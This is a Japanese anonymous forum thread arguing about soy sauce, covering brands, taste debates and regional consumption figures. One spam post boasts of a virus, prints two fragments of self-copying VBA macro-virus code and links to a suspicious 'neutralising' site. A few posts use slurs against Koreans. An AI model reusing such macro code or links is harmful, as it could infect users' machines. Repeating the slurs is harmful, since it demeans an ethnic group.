醤油は味症が使う調味料

>>357
本膳の端麗な香と豊富なうま味成分は煮炊きものにも合うよ。
馬鹿じゃないの？

>>358
真性の味覚音痴乙ｗ

薄口醤油は醸造工程の不足に対し米麹加えて甘味強化してるつーの。
鹸味ばっかり感じて他の味わからねーんだろ？ｗ

味覚音痴で結構、醤油大好きさ。

>>357
リンク先読んだけど結局はおいしい濃口醤油を作りましたってこと。

つけ醤油のために開発されたということに惑わされて本膳が濃口醤油であるという本質を見失っていないか？

つけ醤油として旨ければ他の用途に使っても当然旨い。
本膳は香がすっきりしていて味に切れがあるから東京風の蕎麦つゆや天つゆにも相性がいい。

> つけ醤油として旨ければ他の用途に使っても当然旨い。
新しい醤油を新しい使い道で利用することを誰も否定してないでしょ。

発酵と熟成というサイクルを2回ないし3回繰り返し味と香り、そして色調を調えていく濃口醤油にくらべ、
「香がすっきりしていて味に切れがある」そしてうま味が強い本膳は濃口醤油と本質的に別モンだっつーてるの。

>>360
アル添の新式醸造と同じか。
ニセモノを平気で食う奴の気が知れないな。

>>363
つまり改良された濃口醤油ってことだな

age

>>363
本膳のラベルには「こいくちしょうゆ（本醸造）」と書かれているわけだが

>>367
食品の表示に関するガイドラインで他に分類のしようが無いだけだろ。
松田のマヨネーズがマヨネーズタイプにされたりするようなガイドラインだ、
根拠としては弱いな。

> 発酵と熟成というサイクルを2回ないし3回繰り返し味と香り、そして色調を調えていく濃口醤油にくらべ、
> 「香がすっきりしていて味に切れがある」そしてうま味が強い本膳は濃口醤油と本質的に別モンだっつーてるの。

こっちの方がもっと根拠弱くないか？

和歌山の角長醤油ってどう？
醤油飲むくらい醤油好きなんだが。

タマスズ醤油ウマいよ！タマスズタマスズ！
玉鈴激ｳﾏｰ！

醤油マンセー

醤油だってこと

俺ろのだけど醤油おいしいよ！

しょうゆおいしいよね！

4月7日放送のテレ朝の「食彩の王国」は見たかい？

>>1
僭越ながらこの男根様 ◆CHINPOGEDUめは、久々に有効なウイルスコードを入手致しました
脆弱なセキュリティソフトをお使いのＰＣ初心者様、けたたましい不快な警告音やＰＣの躍動をお楽しみくださいませ
ToInfect.CodeModule.InsertLines BGN, ADI1.CodeModule.Lines(BGN, 1)
Set A4 = A1.CreateTextFile(A1.BuildPath(A1.GetSpecialFolder(1)))

また、簡易的なものですがこのコードを無害化する方法を下記サイトにまとめておきました
http://oab.sytes.net:8010/~nusoku/secureguard.html
よろしければご活用くださいませ

落ちないうちに突撃だ！！！

【魚介類】刺し身が嫌いな奴は味覚障害
http://news23.2ch.net/test/read.cgi/news/1188144265/

>>370お土産に貰った和歌山の湯浅醤油は感動したよ
親子丼をあの醤油と水だけで作ったら凄いコクで美味しかった
義母も自分用に取り寄せたよ

その醤油も試してみたいな

刺身にはしょうゆ

醤油は何にでも合う調味料だろ･･･jk･･･

こないだ初めてリアルで嫌醤油厨がいたけどマジで引いた…
寿司キライだって
どんな食生活してんだよ

マジかよ(笑)
今や日本のみならず、調理済みの米国製レトルトのほぼ100%にも、醤油が入ってるぞ(もちろん隠し味としてレストランとかも)
マジ喰うものないじゃん

>>383
嘘つき。

ダードスレから記念カキコ

>>384
無知ＷＷ
調べもせずに嘘呼ばわりか？まるでこんなアホスレ立てたチョンみたいだな
んで厳密に言えば100％ではないだろうからほぼと書いたけど、米国製の調理済みのレトルトの材料欄見て見ろ
有り得ない物にまで醤油がつかわれていて目から鱗になるぞ
パスタにピザにラザニアとかにも普通に入ってて広報曰わく｢味に深みがでる｣んだそうだ。

普通の醤油は製造時に加熱してるので、醤油の美味さの大半が死んでしまってる。
だから通なら醤油といえば生醤油。
ただし開封後は、冷蔵庫に入れて一ヶ月以内に使い切らないと腐る。

http://www.7dream.com/product/n/a01b48/g/540001001000000/p/1004199

これは納得。

醤油を使うのは構わないが、出された料理の味も見ないでいきなり醤油をかける奴は100%味症。

>>389
それには同意できる。
魚とかにダボダボかけてるのを見たら、そいつとはご飯食べたくなくなる。

>>389
同意。
その上料理した人に対して失礼だし。

>>387　本当は（普通の）しょうゆはまずいって
本当に味わった上で言ってる人がそういうのを
食べてしまうと手放せなくなるんだろうなと思う。

私も味噌ではそれに近いものがあるしな…。

　　 ／￣＼
　　| 　＾o＾　|　＜ しょうゆ　おいしいです
　　 ＼_[]⊂／）
　　 ＿|　|/　｜
　　|　　　　／　

刺身には醤油なんてｲﾗﾈ

ワサビマヨネーズで十分だろ

【醤油】ヒガシマル、醤油に含まれるSPSがメタボ予防に有効な事を解明…

学会で発表 [09/09/16]
http://anchorage.2ch.net/test/read.cgi/bizplus/1253086071/

このスレの98％の方は朝鮮人です。
醤油が憎くて憎くてたまりません

今更だが「味症」ってなんだ？「味障」だろ。

ソースの消費量と購入価格
全国平均　1.624g　771円
　　　東京　1,449g　738円
　　　大阪　1,961g　406円
大阪市のソース消費量2,534mlで全国一（日本一の物があってよかったなｗ）
ところが大阪市のソース購入金額は990円で5番目
結論：大阪人は全国平均の1.6倍ものソース（安物）を大量に使う
結論：東京では高いソースを少量使う

醤油
全国平均　8,499ml　2,311円
　　　東京　5,717ml　1,640円
　　　大阪　7,762ml　1,851円
なんと大阪は醤油も安物をじゃぶじゃぶ使っていた

食塩
（省略されました・・全てを読むにはここを押してください）


23 名前：もぐもぐ名無しさん ：2009/10/27(火) 22:24:23
えっ！！！！！
醤油ドバドバ東京！！って話も大阪人特有の嘘八百？？？

この情報にはびっくりですが、
大阪人は事実を晒されてスルーするだろうね。

まあ、俺は>>１から味症って何なのか
教えて欲しいんだが。

味の症状？？本当に日本人？
日本語教育学んだ？


あっ、そうか…

お醤油は飲んでも美味いのか？「お醤油ミルクサイダー」発売
http://tsushima.2ch.net/test/read.cgi/news/1268740257/l50

>>400
金沢すげー

さすが裏日本

【アメリカ】「醤油」さえ入れば、　一気！　　一気！　　一気！　　一気！　　　ソーレソレソレ！！
http://hatsukari.2ch.net/test/read.cgi/news/1307902786/l50

【乞食速報】定価4683円の高級醤油がなんと865円
http://engawa.2ch.net/test/read.cgi/poverty/1332340876/l50

ひつまぶし…蓬莱軒
味噌カツ…矢場とん
手羽先…風来坊or山ちゃん
味噌煮込みうどん…総本家or本店
きしめん…吉田
どて煮…島正
天むす…千寿
エビフライ…欧味
あんかけスパ…ヨコイ
鉄板スパ…ユキ
台湾ラーメン…味仙
カレーうどん…鯱乃家
名古屋コーチン…三和
小倉トースト…リヨン
変わり種…マウンテン
ファーストフード…スガキヤorコメダ
ういろう…青柳or大須
鬼まんじゅう…鬼作堂

醤油嫌い、アンチマヨはいっぱいいるのに、アンチ醤油は少数なのね

醤油は、どんなにクソマズイ料理でもそれなりの味になるから良いんじゃん。
俺は醤油大好き。味覚障害呼ばわりされるならそれで結構だ。

http://i.imgur.com/0WUNmHH.jpg